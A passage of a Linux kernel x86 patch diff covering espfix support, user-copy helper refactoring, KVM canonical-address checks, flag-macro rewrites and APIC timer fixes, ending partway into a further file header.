b/arch/x86/include/asm/elf.h @@ -155,8 +155,9 @@ do { \ #define elf_check_arch(x) \ ((x)->e_machine == EM_X86_64) -#define compat_elf_check_arch(x) \ - (elf_check_arch_ia32(x) || (x)->e_machine == EM_X86_64) +#define compat_elf_check_arch(x) \ + (elf_check_arch_ia32(x) || \ + (IS_ENABLED(CONFIG_X86_X32_ABI) && (x)->e_machine == EM_X86_64)) #if __USER32_DS != __USER_DS # error "The following code assumes __USER32_DS == __USER_DS" diff --git a/arch/x86/include/asm/espfix.h b/arch/x86/include/asm/espfix.h new file mode 100644 index 0000000000000..99efebb2f69df --- /dev/null +++ b/arch/x86/include/asm/espfix.h @@ -0,0 +1,16 @@ +#ifndef _ASM_X86_ESPFIX_H +#define _ASM_X86_ESPFIX_H + +#ifdef CONFIG_X86_64 + +#include + +DECLARE_PER_CPU_READ_MOSTLY(unsigned long, espfix_stack); +DECLARE_PER_CPU_READ_MOSTLY(unsigned long, espfix_waddr); + +extern void init_espfix_bsp(void); +extern void init_espfix_ap(void); + +#endif /* CONFIG_X86_64 */ + +#endif /* _ASM_X86_ESPFIX_H */ diff --git a/arch/x86/include/asm/fixmap.h b/arch/x86/include/asm/fixmap.h index 0dc7d9e21c34f..9d7d36c82fc21 100644 --- a/arch/x86/include/asm/fixmap.h +++ b/arch/x86/include/asm/fixmap.h @@ -123,14 +123,14 @@ enum fixed_addresses { __end_of_permanent_fixed_addresses, /* - * 256 temporary boot-time mappings, used by early_ioremap(), + * 512 temporary boot-time mappings, used by early_ioremap(), * before ioremap() is functional. * - * If necessary we round it up to the next 256 pages boundary so + * If necessary we round it up to the next 512 pages boundary so * that we can have a single pgd entry and a single pte table: */ #define NR_FIX_BTMAPS 64 -#define FIX_BTMAPS_SLOTS 4 +#define FIX_BTMAPS_SLOTS 8 #define TOTAL_FIX_BTMAPS (NR_FIX_BTMAPS * FIX_BTMAPS_SLOTS) FIX_BTMAP_END = (__end_of_permanent_fixed_addresses ^ diff --git a/arch/x86/include/asm/fpu-internal.h b/arch/x86/include/asm/fpu-internal.h index e72b2e41499e7..1b2fc5cf19633 100644 --- a/arch/x86/include/asm/fpu-internal.h +++ b/arch/x86/include/asm/fpu-internal.h @@ -370,7 +370,7 @@ static inline void drop_fpu(struct task_struct *tsk) preempt_disable(); tsk->fpu_counter = 0; __drop_fpu(tsk); - clear_used_math(); + clear_stopped_child_used_math(tsk); preempt_enable(); } diff --git a/arch/x86/include/asm/irqflags.h b/arch/x86/include/asm/irqflags.h index bba3cf88e6249..0a8b519226b8f 100644 --- a/arch/x86/include/asm/irqflags.h +++ b/arch/x86/include/asm/irqflags.h @@ -129,7 +129,7 @@ static inline notrace unsigned long arch_local_irq_save(void) #define PARAVIRT_ADJUST_EXCEPTION_FRAME /* */ -#define INTERRUPT_RETURN iretq +#define INTERRUPT_RETURN jmp native_iret #define USERGS_SYSRET64 \ swapgs; \ sysretq; diff --git a/arch/x86/include/asm/kvm_host.h b/arch/x86/include/asm/kvm_host.h index aef022ff75daa..3a1b3d7ea82c2 100644 --- a/arch/x86/include/asm/kvm_host.h +++ b/arch/x86/include/asm/kvm_host.h @@ -59,7 +59,7 @@ (~(unsigned long)(X86_CR4_VME | X86_CR4_PVI | X86_CR4_TSD | X86_CR4_DE\ | X86_CR4_PSE | X86_CR4_PAE | X86_CR4_MCE \ | X86_CR4_PGE | X86_CR4_PCE | X86_CR4_OSFXSR | X86_CR4_PCIDE \ - | X86_CR4_OSXSAVE | X86_CR4_SMEP | X86_CR4_RDWRGSFS \ + | X86_CR4_OSXSAVE | X86_CR4_SMEP | X86_CR4_FSGSBASE \ | X86_CR4_OSXMMEXCPT | X86_CR4_VMXE)) #define CR8_RESERVED_BITS (~(unsigned long)X86_CR8_TPR) @@ -99,7 +99,7 @@ static inline gfn_t gfn_to_index(gfn_t gfn, gfn_t base_gfn, int level) #define KVM_REFILL_PAGES 25 #define KVM_MAX_CPUID_ENTRIES 80 #define KVM_NR_FIXED_MTRR_REGION 88 -#define KVM_NR_VAR_MTRR 10 +#define KVM_NR_VAR_MTRR 8 #define ASYNC_PF_PER_VCPU 64 @@ -470,6 +470,7 @@ struct kvm_vcpu_arch { u64 mmio_gva; unsigned access; gfn_t mmio_gfn; + u64 mmio_gen; struct kvm_pmu pmu; @@ -547,7 +548,7 @@ struct kvm_arch { struct kvm_pic *vpic; struct kvm_ioapic *vioapic; struct kvm_pit *vpit; - int vapics_in_nmi_mode; + atomic_t vapics_in_nmi_mode; struct mutex apic_map_lock; struct kvm_apic_map *apic_map; @@ -959,6 +960,20 @@ static inline void kvm_inject_gp(struct kvm_vcpu *vcpu, u32 error_code) kvm_queue_exception_e(vcpu, GP_VECTOR, error_code); } +static inline u64 get_canonical(u64 la) +{ + return ((int64_t)la << 16) >> 16; +} + +static inline bool is_noncanonical_address(u64 la) +{ +#ifdef CONFIG_X86_64 + return get_canonical(la) != la; +#else + return false; +#endif +} + #define TSS_IOPB_BASE_OFFSET 0x66 #define TSS_BASE_SIZE 0x68 #define TSS_IOPB_SIZE (65536 / 8) @@ -1017,7 +1032,7 @@ int kvm_cpu_get_interrupt(struct kvm_vcpu *v); void kvm_vcpu_reset(struct kvm_vcpu *vcpu); void kvm_define_shared_msr(unsigned index, u32 msr); -void kvm_set_shared_msr(unsigned index, u64 val, u64 mask); +int kvm_set_shared_msr(unsigned index, u64 val, u64 mask); bool kvm_is_linear_rip(struct kvm_vcpu *vcpu, unsigned long linear_rip); diff --git a/arch/x86/include/asm/mmu_context.h b/arch/x86/include/asm/mmu_context.h index be12c534fd592..29a3d1b00ca97 100644 --- a/arch/x86/include/asm/mmu_context.h +++ b/arch/x86/include/asm/mmu_context.h @@ -42,7 +42,34 @@ static inline void switch_mm(struct mm_struct *prev, struct mm_struct *next, #endif cpumask_set_cpu(cpu, mm_cpumask(next)); - /* Re-load page tables */ + /* + * Re-load page tables. + * + * This logic has an ordering constraint: + * + * CPU 0: Write to a PTE for 'next' + * CPU 0: load bit 1 in mm_cpumask. if nonzero, send IPI. + * CPU 1: set bit 1 in next's mm_cpumask + * CPU 1: load from the PTE that CPU 0 writes (implicit) + * + * We need to prevent an outcome in which CPU 1 observes + * the new PTE value and CPU 0 observes bit 1 clear in + * mm_cpumask. (If that occurs, then the IPI will never + * be sent, and CPU 0's TLB will contain a stale entry.) + * + * The bad outcome can occur if either CPU's load is + * reordered before that CPU's store, so both CPUs must + * execute full barriers to prevent this from happening. + * + * Thus, switch_mm needs a full barrier between the + * store to mm_cpumask and any operation that could load + * from next->pgd. TLB fills are special and can happen + * due to instruction fetches or for no reason at all, + * and neither LOCK nor MFENCE orders them. + * Fortunately, load_cr3() is serializing and gives the + * ordering guarantee we need. + * + */ load_cr3(next->pgd); /* Stop flush ipis for the previous mm */ @@ -65,10 +92,14 @@ static inline void switch_mm(struct mm_struct *prev, struct mm_struct *next, * schedule, protecting us from simultaneous changes. */ cpumask_set_cpu(cpu, mm_cpumask(next)); + /* * We were in lazy tlb mode and leave_mm disabled * tlb flush IPI delivery. We must reload CR3 * to make sure to use no freed page tables. + * + * As above, load_cr3() is serializing and orders TLB + * fills with respect to the mm_cpumask write. */ load_cr3(next->pgd); load_LDT_nolock(&next->context); diff --git a/arch/x86/include/asm/page_32_types.h b/arch/x86/include/asm/page_32_types.h index ef17af0134750..4376b458aef76 100644 --- a/arch/x86/include/asm/page_32_types.h +++ b/arch/x86/include/asm/page_32_types.h @@ -18,7 +18,6 @@ #define THREAD_SIZE_ORDER 1 #define THREAD_SIZE (PAGE_SIZE << THREAD_SIZE_ORDER) -#define STACKFAULT_STACK 0 #define DOUBLEFAULT_STACK 1 #define NMI_STACK 0 #define DEBUG_STACK 0 diff --git a/arch/x86/include/asm/page_64_types.h b/arch/x86/include/asm/page_64_types.h index 6c896fbe21db5..970f3097ee33b 100644 --- a/arch/x86/include/asm/page_64_types.h +++ b/arch/x86/include/asm/page_64_types.h @@ -14,12 +14,11 @@ #define IRQ_STACK_ORDER 2 #define IRQ_STACK_SIZE (PAGE_SIZE << IRQ_STACK_ORDER) -#define STACKFAULT_STACK 1 -#define DOUBLEFAULT_STACK 2 -#define NMI_STACK 3 -#define DEBUG_STACK 4 -#define MCE_STACK 5 -#define N_EXCEPTION_STACKS 5 /* hw limit: 7 */ +#define DOUBLEFAULT_STACK 1 +#define NMI_STACK 2 +#define DEBUG_STACK 3 +#define MCE_STACK 4 +#define N_EXCEPTION_STACKS 4 /* hw limit: 7 */ #define PUD_PAGE_SIZE (_AC(1, UL) << PUD_SHIFT) #define PUD_PAGE_MASK (~(PUD_PAGE_SIZE-1)) diff --git a/arch/x86/include/asm/pgtable_64_types.h b/arch/x86/include/asm/pgtable_64_types.h index 2d883440cb9a2..b1609f2c524cb 100644 --- a/arch/x86/include/asm/pgtable_64_types.h +++ b/arch/x86/include/asm/pgtable_64_types.h @@ -61,6 +61,8 @@ typedef struct { pteval_t pte; } pte_t; #define MODULES_VADDR _AC(0xffffffffa0000000, UL) #define MODULES_END _AC(0xffffffffff000000, UL) #define MODULES_LEN (MODULES_END - MODULES_VADDR) +#define ESPFIX_PGD_ENTRY _AC(-2, UL) +#define ESPFIX_BASE_ADDR (ESPFIX_PGD_ENTRY << PGDIR_SHIFT) #define EARLY_DYNAMIC_PAGE_TABLES 64 diff --git a/arch/x86/include/asm/segment.h b/arch/x86/include/asm/segment.h index c48a95035a778..4dde707a6ff73 100644 --- a/arch/x86/include/asm/segment.h +++ b/arch/x86/include/asm/segment.h @@ -212,8 +212,19 @@ #define TLS_SIZE (GDT_ENTRY_TLS_ENTRIES * 8) #ifdef __KERNEL__ + +/* + * early_idt_handler_array is an array of entry points referenced in the + * early IDT. For simplicity, it's a real array with one entry point + * every nine bytes. That leaves room for an optional 'push $0' if the + * vector has no error code (two bytes), a 'push $vector_number' (two + * bytes), and a jump to the common entry code (up to five bytes). + */ +#define EARLY_IDT_HANDLER_SIZE 9 + #ifndef __ASSEMBLY__ -extern const char early_idt_handlers[NUM_EXCEPTION_VECTORS][2+2+5]; + +extern const char early_idt_handler_array[NUM_EXCEPTION_VECTORS][EARLY_IDT_HANDLER_SIZE]; /* * Load a segment. Fall back on loading the zero diff --git a/arch/x86/include/asm/setup.h b/arch/x86/include/asm/setup.h index b7bf3505e1ec0..2e327f114a1bf 100644 --- a/arch/x86/include/asm/setup.h +++ b/arch/x86/include/asm/setup.h @@ -62,6 +62,8 @@ static inline void x86_ce4100_early_setup(void) { } #ifndef _SETUP +#include + /* * This is set up by the setup-routine at boot-time */ diff --git a/arch/x86/include/asm/thread_info.h b/arch/x86/include/asm/thread_info.h index a1df6e84691f9..d3e0ff5962fe0 100644 --- a/arch/x86/include/asm/thread_info.h +++ b/arch/x86/include/asm/thread_info.h @@ -147,7 +147,7 @@ struct thread_info { /* Only used for 64 bit */ #define _TIF_DO_NOTIFY_MASK \ (_TIF_SIGPENDING | _TIF_MCE_NOTIFY | _TIF_NOTIFY_RESUME | \ - _TIF_USER_RETURN_NOTIFY) + _TIF_USER_RETURN_NOTIFY | _TIF_UPROBE) /* flags to check in __switch_to() */ #define _TIF_WORK_CTXSW \ diff --git a/arch/x86/include/asm/uaccess_64.h b/arch/x86/include/asm/uaccess_64.h index 142810c457dc5..34df5c22df90a 100644 --- a/arch/x86/include/asm/uaccess_64.h +++ b/arch/x86/include/asm/uaccess_64.h @@ -77,11 +77,10 @@ int copy_to_user(void __user *dst, const void *src, unsigned size) } static __always_inline __must_check -int __copy_from_user(void *dst, const void __user *src, unsigned size) +int __copy_from_user_nocheck(void *dst, const void __user *src, unsigned size) { int ret = 0; - might_fault(); if (!__builtin_constant_p(size)) return copy_user_generic(dst, (__force void *)src, size); switch (size) { @@ -121,11 +120,17 @@ int __copy_from_user(void *dst, const void __user *src, unsigned size) } static __always_inline __must_check -int __copy_to_user(void __user *dst, const void *src, unsigned size) +int __copy_from_user(void *dst, const void __user *src, unsigned size) +{ + might_fault(); + return __copy_from_user_nocheck(dst, src, size); +} + +static __always_inline __must_check +int __copy_to_user_nocheck(void __user *dst, const void *src, unsigned size) { int ret = 0; - might_fault(); if (!__builtin_constant_p(size)) return copy_user_generic((__force void *)dst, src, size); switch (size) { @@ -164,6 +169,13 @@ int __copy_to_user(void __user *dst, const void *src, unsigned size) } } +static __always_inline __must_check +int __copy_to_user(void __user *dst, const void *src, unsigned size) +{ + might_fault(); + return __copy_to_user_nocheck(dst, src, size); +} + static __always_inline __must_check int __copy_in_user(void __user *dst, const void __user *src, unsigned size) { @@ -220,13 +232,13 @@ int __copy_in_user(void __user *dst, const void __user *src, unsigned size) static __must_check __always_inline int __copy_from_user_inatomic(void *dst, const void __user *src, unsigned size) { - return copy_user_generic(dst, (__force const void *)src, size); + return __copy_from_user_nocheck(dst, (__force const void *)src, size); } static __must_check __always_inline int __copy_to_user_inatomic(void __user *dst, const void *src, unsigned size) { - return copy_user_generic((__force void *)dst, src, size); + return __copy_to_user_nocheck((__force void *)dst, src, size); } extern long __copy_user_nocache(void *dst, const void __user *src, diff --git a/arch/x86/include/asm/vsyscall.h b/arch/x86/include/asm/vsyscall.h index 2a46ca720afca..2874be9aef0ae 100644 --- a/arch/x86/include/asm/vsyscall.h +++ b/arch/x86/include/asm/vsyscall.h @@ -34,7 +34,7 @@ static inline unsigned int __getcpu(void) native_read_tscp(&p); } else { /* Load per CPU data from GDT */ - asm("lsl %1,%0" : "=r" (p) : "r" (__PER_CPU_SEG)); + asm volatile ("lsl %1,%0" : "=r" (p) : "r" (__PER_CPU_SEG)); } return p; diff --git a/arch/x86/include/asm/xen/hypervisor.h b/arch/x86/include/asm/xen/hypervisor.h index 125f344f06a90..8ac93f05a8ea6 100644 --- a/arch/x86/include/asm/xen/hypervisor.h +++ b/arch/x86/include/asm/xen/hypervisor.h @@ -71,4 +71,6 @@ static inline bool xen_x2apic_para_available(void) } #endif +extern void xen_set_iopl_mask(unsigned mask); + #endif /* _ASM_X86_XEN_HYPERVISOR_H */ diff --git a/arch/x86/include/uapi/asm/ldt.h b/arch/x86/include/uapi/asm/ldt.h index 46727eb37bfe2..6e1aaf73852ac 100644 --- a/arch/x86/include/uapi/asm/ldt.h +++ b/arch/x86/include/uapi/asm/ldt.h @@ -28,6 +28,13 @@ struct user_desc { unsigned int seg_not_present:1; unsigned int useable:1; #ifdef __x86_64__ + /* + * Because this bit is not present in 32-bit user code, user + * programs can pass uninitialized values here. Therefore, in + * any context in which a user_desc comes from a 32-bit program, + * the kernel must act as though lm == 0, regardless of the + * actual value. + */ unsigned int lm:1; #endif }; diff --git a/arch/x86/include/uapi/asm/processor-flags.h b/arch/x86/include/uapi/asm/processor-flags.h index 54991a7460438..180a0c3c224db 100644 --- a/arch/x86/include/uapi/asm/processor-flags.h +++ b/arch/x86/include/uapi/asm/processor-flags.h @@ -2,75 +2,129 @@ #define _UAPI_ASM_X86_PROCESSOR_FLAGS_H /* Various flags defined: can be included from assembler. */ +#include + /* * EFLAGS bits */ -#define X86_EFLAGS_CF 0x00000001 /* Carry Flag */ -#define X86_EFLAGS_BIT1 0x00000002 /* Bit 1 - always on */ -#define X86_EFLAGS_PF 0x00000004 /* Parity Flag */ -#define X86_EFLAGS_AF 0x00000010 /* Auxiliary carry Flag */ -#define X86_EFLAGS_ZF 0x00000040 /* Zero Flag */ -#define X86_EFLAGS_SF 0x00000080 /* Sign Flag */ -#define X86_EFLAGS_TF 0x00000100 /* Trap Flag */ -#define X86_EFLAGS_IF 0x00000200 /* Interrupt Flag */ -#define X86_EFLAGS_DF 0x00000400 /* Direction Flag */ -#define X86_EFLAGS_OF 0x00000800 /* Overflow Flag */ -#define X86_EFLAGS_IOPL 0x00003000 /* IOPL mask */ -#define X86_EFLAGS_NT 0x00004000 /* Nested Task */ -#define X86_EFLAGS_RF 0x00010000 /* Resume Flag */ -#define X86_EFLAGS_VM 0x00020000 /* Virtual Mode */ -#define X86_EFLAGS_AC 0x00040000 /* Alignment Check */ -#define X86_EFLAGS_VIF 0x00080000 /* Virtual Interrupt Flag */ -#define X86_EFLAGS_VIP 0x00100000 /* Virtual Interrupt Pending */ -#define X86_EFLAGS_ID 0x00200000 /* CPUID detection flag */ +#define X86_EFLAGS_CF_BIT 0 /* Carry Flag */ +#define X86_EFLAGS_CF _BITUL(X86_EFLAGS_CF_BIT) +#define X86_EFLAGS_FIXED_BIT 1 /* Bit 1 - always on */ +#define X86_EFLAGS_FIXED _BITUL(X86_EFLAGS_FIXED_BIT) +#define X86_EFLAGS_PF_BIT 2 /* Parity Flag */ +#define X86_EFLAGS_PF _BITUL(X86_EFLAGS_PF_BIT) +#define X86_EFLAGS_AF_BIT 4 /* Auxiliary carry Flag */ +#define X86_EFLAGS_AF _BITUL(X86_EFLAGS_AF_BIT) +#define X86_EFLAGS_ZF_BIT 6 /* Zero Flag */ +#define X86_EFLAGS_ZF _BITUL(X86_EFLAGS_ZF_BIT) +#define X86_EFLAGS_SF_BIT 7 /* Sign Flag */ +#define X86_EFLAGS_SF _BITUL(X86_EFLAGS_SF_BIT) +#define X86_EFLAGS_TF_BIT 8 /* Trap Flag */ +#define X86_EFLAGS_TF _BITUL(X86_EFLAGS_TF_BIT) +#define X86_EFLAGS_IF_BIT 9 /* Interrupt Flag */ +#define X86_EFLAGS_IF _BITUL(X86_EFLAGS_IF_BIT) +#define X86_EFLAGS_DF_BIT 10 /* Direction Flag */ +#define X86_EFLAGS_DF _BITUL(X86_EFLAGS_DF_BIT) +#define X86_EFLAGS_OF_BIT 11 /* Overflow Flag */ +#define X86_EFLAGS_OF _BITUL(X86_EFLAGS_OF_BIT) +#define X86_EFLAGS_IOPL_BIT 12 /* I/O Privilege Level (2 bits) */ +#define X86_EFLAGS_IOPL (_AC(3,UL) << X86_EFLAGS_IOPL_BIT) +#define X86_EFLAGS_NT_BIT 14 /* Nested Task */ +#define X86_EFLAGS_NT _BITUL(X86_EFLAGS_NT_BIT) +#define X86_EFLAGS_RF_BIT 16 /* Resume Flag */ +#define X86_EFLAGS_RF _BITUL(X86_EFLAGS_RF_BIT) +#define X86_EFLAGS_VM_BIT 17 /* Virtual Mode */ +#define X86_EFLAGS_VM _BITUL(X86_EFLAGS_VM_BIT) +#define X86_EFLAGS_AC_BIT 18 /* Alignment Check/Access Control */ +#define X86_EFLAGS_AC _BITUL(X86_EFLAGS_AC_BIT) +#define X86_EFLAGS_AC_BIT 18 /* Alignment Check/Access Control */ +#define X86_EFLAGS_AC _BITUL(X86_EFLAGS_AC_BIT) +#define X86_EFLAGS_VIF_BIT 19 /* Virtual Interrupt Flag */ +#define X86_EFLAGS_VIF _BITUL(X86_EFLAGS_VIF_BIT) +#define X86_EFLAGS_VIP_BIT 20 /* Virtual Interrupt Pending */ +#define X86_EFLAGS_VIP _BITUL(X86_EFLAGS_VIP_BIT) +#define X86_EFLAGS_ID_BIT 21 /* CPUID detection */ +#define X86_EFLAGS_ID _BITUL(X86_EFLAGS_ID_BIT) /* * Basic CPU control in CR0 */ -#define X86_CR0_PE 0x00000001 /* Protection Enable */ -#define X86_CR0_MP 0x00000002 /* Monitor Coprocessor */ -#define X86_CR0_EM 0x00000004 /* Emulation */ -#define X86_CR0_TS 0x00000008 /* Task Switched */ -#define X86_CR0_ET 0x00000010 /* Extension Type */ -#define X86_CR0_NE 0x00000020 /* Numeric Error */ -#define X86_CR0_WP 0x00010000 /* Write Protect */ -#define X86_CR0_AM 0x00040000 /* Alignment Mask */ -#define X86_CR0_NW 0x20000000 /* Not Write-through */ -#define X86_CR0_CD 0x40000000 /* Cache Disable */ -#define X86_CR0_PG 0x80000000 /* Paging */ +#define X86_CR0_PE_BIT 0 /* Protection Enable */ +#define X86_CR0_PE _BITUL(X86_CR0_PE_BIT) +#define X86_CR0_MP_BIT 1 /* Monitor Coprocessor */ +#define X86_CR0_MP _BITUL(X86_CR0_MP_BIT) +#define X86_CR0_EM_BIT 2 /* Emulation */ +#define X86_CR0_EM _BITUL(X86_CR0_EM_BIT) +#define X86_CR0_TS_BIT 3 /* Task Switched */ +#define X86_CR0_TS _BITUL(X86_CR0_TS_BIT) +#define X86_CR0_ET_BIT 4 /* Extension Type */ +#define X86_CR0_ET _BITUL(X86_CR0_ET_BIT) +#define X86_CR0_NE_BIT 5 /* Numeric Error */ +#define X86_CR0_NE _BITUL(X86_CR0_NE_BIT) +#define X86_CR0_WP_BIT 16 /* Write Protect */ +#define X86_CR0_WP _BITUL(X86_CR0_WP_BIT) +#define X86_CR0_AM_BIT 18 /* Alignment Mask */ +#define X86_CR0_AM _BITUL(X86_CR0_AM_BIT) +#define X86_CR0_NW_BIT 29 /* Not Write-through */ +#define X86_CR0_NW _BITUL(X86_CR0_NW_BIT) +#define X86_CR0_CD_BIT 30 /* Cache Disable */ +#define X86_CR0_CD _BITUL(X86_CR0_CD_BIT) +#define X86_CR0_PG_BIT 31 /* Paging */ +#define X86_CR0_PG _BITUL(X86_CR0_PG_BIT) /* * Paging options in CR3 */ -#define X86_CR3_PWT 0x00000008 /* Page Write Through */ -#define X86_CR3_PCD 0x00000010 /* Page Cache Disable */ -#define X86_CR3_PCID_MASK 0x00000fff /* PCID Mask */ +#define X86_CR3_PWT_BIT 3 /* Page Write Through */ +#define X86_CR3_PWT _BITUL(X86_CR3_PWT_BIT) +#define X86_CR3_PCD_BIT 4 /* Page Cache Disable */ +#define X86_CR3_PCD _BITUL(X86_CR3_PCD_BIT) +#define X86_CR3_PCID_MASK _AC(0x00000fff,UL) /* PCID Mask */ /* * Intel CPU features in CR4 */ -#define X86_CR4_VME 0x00000001 /* enable vm86 extensions */ -#define X86_CR4_PVI 0x00000002 /* virtual interrupts flag enable */ -#define X86_CR4_TSD 0x00000004 /* disable time stamp at ipl 3 */ -#define X86_CR4_DE 0x00000008 /* enable debugging extensions */ -#define X86_CR4_PSE 0x00000010 /* enable page size extensions */ -#define X86_CR4_PAE 0x00000020 /* enable physical address extensions */ -#define X86_CR4_MCE 0x00000040 /* Machine check enable */ -#define X86_CR4_PGE 0x00000080 /* enable global pages */ -#define X86_CR4_PCE 0x00000100 /* enable performance counters at ipl 3 */ -#define X86_CR4_OSFXSR 0x00000200 /* enable fast FPU save and restore */ -#define X86_CR4_OSXMMEXCPT 0x00000400 /* enable unmasked SSE exceptions */ -#define X86_CR4_VMXE 0x00002000 /* enable VMX virtualization */ -#define X86_CR4_RDWRGSFS 0x00010000 /* enable RDWRGSFS support */ -#define X86_CR4_PCIDE 0x00020000 /* enable PCID support */ -#define X86_CR4_OSXSAVE 0x00040000 /* enable xsave and xrestore */ -#define X86_CR4_SMEP 0x00100000 /* enable SMEP support */ -#define X86_CR4_SMAP 0x00200000 /* enable SMAP support */ +#define X86_CR4_VME_BIT 0 /* enable vm86 extensions */ +#define X86_CR4_VME _BITUL(X86_CR4_VME_BIT) +#define X86_CR4_PVI_BIT 1 /* virtual interrupts flag enable */ +#define X86_CR4_PVI _BITUL(X86_CR4_PVI_BIT) +#define X86_CR4_TSD_BIT 2 /* disable time stamp at ipl 3 */ +#define X86_CR4_TSD _BITUL(X86_CR4_TSD_BIT) +#define X86_CR4_DE_BIT 3 /* enable debugging extensions */ +#define X86_CR4_DE _BITUL(X86_CR4_DE_BIT) +#define X86_CR4_PSE_BIT 4 /* enable page size extensions */ +#define X86_CR4_PSE _BITUL(X86_CR4_PSE_BIT) +#define X86_CR4_PAE_BIT 5 /* enable physical address extensions */ +#define X86_CR4_PAE _BITUL(X86_CR4_PAE_BIT) +#define X86_CR4_MCE_BIT 6 /* Machine check enable */ +#define X86_CR4_MCE _BITUL(X86_CR4_MCE_BIT) +#define X86_CR4_PGE_BIT 7 /* enable global pages */ +#define X86_CR4_PGE _BITUL(X86_CR4_PGE_BIT) +#define X86_CR4_PCE_BIT 8 /* enable performance counters at ipl 3 */ +#define X86_CR4_PCE _BITUL(X86_CR4_PCE_BIT) +#define X86_CR4_OSFXSR_BIT 9 /* enable fast FPU save and restore */ +#define X86_CR4_OSFXSR _BITUL(X86_CR4_OSFXSR_BIT) +#define X86_CR4_OSXMMEXCPT_BIT 10 /* enable unmasked SSE exceptions */ +#define X86_CR4_OSXMMEXCPT _BITUL(X86_CR4_OSXMMEXCPT_BIT) +#define X86_CR4_VMXE_BIT 13 /* enable VMX virtualization */ +#define X86_CR4_VMXE _BITUL(X86_CR4_VMXE_BIT) +#define X86_CR4_SMXE_BIT 14 /* enable safer mode (TXT) */ +#define X86_CR4_SMXE _BITUL(X86_CR4_SMXE_BIT) +#define X86_CR4_FSGSBASE_BIT 16 /* enable RDWRFSGS support */ +#define X86_CR4_FSGSBASE _BITUL(X86_CR4_FSGSBASE_BIT) +#define X86_CR4_PCIDE_BIT 17 /* enable PCID support */ +#define X86_CR4_PCIDE _BITUL(X86_CR4_PCIDE_BIT) +#define X86_CR4_OSXSAVE_BIT 18 /* enable xsave and xrestore */ +#define X86_CR4_OSXSAVE _BITUL(X86_CR4_OSXSAVE_BIT) +#define X86_CR4_SMEP_BIT 20 /* enable SMEP support */ +#define X86_CR4_SMEP _BITUL(X86_CR4_SMEP_BIT) +#define X86_CR4_SMAP_BIT 21 /* enable SMAP support */ +#define X86_CR4_SMAP _BITUL(X86_CR4_SMAP_BIT) /* * x86-64 Task Priority Register, CR8 */ -#define X86_CR8_TPR 0x0000000F /* task priority register */ +#define X86_CR8_TPR _AC(0x0000000f,UL) /* task priority register */ /* * AMD and Transmeta use MSRs for configuration; see diff --git a/arch/x86/include/uapi/asm/vmx.h b/arch/x86/include/uapi/asm/vmx.h index d651082c7cf72..dccea7f290519 100644 --- a/arch/x86/include/uapi/asm/vmx.h +++ b/arch/x86/include/uapi/asm/vmx.h @@ -65,7 +65,9 @@ #define EXIT_REASON_EOI_INDUCED 45 #define EXIT_REASON_EPT_VIOLATION 48 #define EXIT_REASON_EPT_MISCONFIG 49 +#define EXIT_REASON_INVEPT 50 #define EXIT_REASON_PREEMPTION_TIMER 52 +#define EXIT_REASON_INVVPID 53 #define EXIT_REASON_WBINVD 54 #define EXIT_REASON_XSETBV 55 #define EXIT_REASON_APIC_WRITE 56 @@ -111,6 +113,7 @@ { EXIT_REASON_EOI_INDUCED, "EOI_INDUCED" }, \ { EXIT_REASON_INVALID_STATE, "INVALID_STATE" }, \ { EXIT_REASON_INVD, "INVD" }, \ + { EXIT_REASON_INVVPID, "INVVPID" }, \ { EXIT_REASON_INVPCID, "INVPCID" }, \ { EXIT_REASON_PREEMPTION_TIMER, "PREEMPTION_TIMER" } diff --git a/arch/x86/kernel/Makefile b/arch/x86/kernel/Makefile index 7bd3bd3101062..111eb356dbeae 100644 --- a/arch/x86/kernel/Makefile +++ b/arch/x86/kernel/Makefile @@ -27,6 +27,7 @@ obj-$(CONFIG_X86_64) += sys_x86_64.o x8664_ksyms_64.o obj-y += syscall_$(BITS).o obj-$(CONFIG_X86_64) += vsyscall_64.o obj-$(CONFIG_X86_64) += vsyscall_emu_64.o +obj-$(CONFIG_X86_ESPFIX64) += espfix_64.o obj-y += bootflag.o e820.o obj-y += pci-dma.o quirks.o topology.o kdebugfs.o obj-y += alternative.o i8253.o pci-nommu.o hw_breakpoint.o diff --git a/arch/x86/kernel/acpi/sleep.c b/arch/x86/kernel/acpi/sleep.c index ec94e11807dc4..ca0805633f265 100644 --- a/arch/x86/kernel/acpi/sleep.c +++ b/arch/x86/kernel/acpi/sleep.c @@ -16,6 +16,7 @@ #include #include +#include #include "../../realmode/rm/wakeup.h" #include "sleep.h" @@ -96,7 +97,13 @@ int acpi_suspend_lowlevel(void) saved_magic = 0x123456789abcdef0L; #endif /* CONFIG_64BIT */ + /* + * Pause/unpause graph tracing around do_suspend_lowlevel as it has + * inconsistent call/return info after it jumps to the wakeup vector. + */ + pause_graph_tracing(); do_suspend_lowlevel(); + unpause_graph_tracing(); return 0; } diff --git a/arch/x86/kernel/amd_nb.c b/arch/x86/kernel/amd_nb.c index 59554dca96ec8..e6a3b1e35fae1 100644 --- a/arch/x86/kernel/amd_nb.c +++ b/arch/x86/kernel/amd_nb.c @@ -67,8 +67,8 @@ int amd_cache_northbridges(void) while ((misc = next_northbridge(misc, amd_nb_misc_ids)) != NULL) i++; - if (i == 0) - return 0; + if (!i) + return -ENODEV; nb = kzalloc(i * sizeof(struct amd_northbridge), GFP_KERNEL); if (!nb) diff --git a/arch/x86/kernel/apic/apic.c b/arch/x86/kernel/apic/apic.c index 904611bf0e5a3..9620d18cb6380 100644 --- a/arch/x86/kernel/apic/apic.c +++ b/arch/x86/kernel/apic/apic.c @@ -350,6 +350,13 @@ static void __setup_APIC_LVTT(unsigned int clocks, int oneshot, int irqen) apic_write(APIC_LVTT, lvtt_value); if (lvtt_value & APIC_LVT_TIMER_TSCDEADLINE) { + /* + * See Intel SDM: TSC-Deadline Mode chapter. In xAPIC mode, + * writing to the APIC LVTT and TSC_DEADLINE MSR isn't serialized. + * According to Intel, MFENCE can do the serialization here. + */ + asm volatile("mfence" : : : "memory"); + printk_once(KERN_DEBUG "TSC deadline timer enabled\n"); return; } @@ -1263,7 +1270,7 @@ void __cpuinit setup_local_APIC(void) unsigned int value, queued; int i, j, acked = 0; unsigned long long tsc = 0, ntsc; - long long max_loops = cpu_khz; + long long max_loops = cpu_khz ? cpu_khz : 1000000; if (cpu_has_tsc) rdtscll(tsc); @@ -1360,7 +1367,7 @@ void __cpuinit setup_local_APIC(void) break; } if (queued) { - if (cpu_has_tsc) { + if (cpu_has_tsc && cpu_khz) { rdtscll(ntsc); max_loops = (cpu_khz << 10) - (ntsc - tsc); } else diff --git a/arch/x86/kernel/apm_32.c b/arch/x86/kernel/apm_32.c index 53a4e27448469..3ab03430211d6 100644 --- a/arch/x86/kernel/apm_32.c +++ 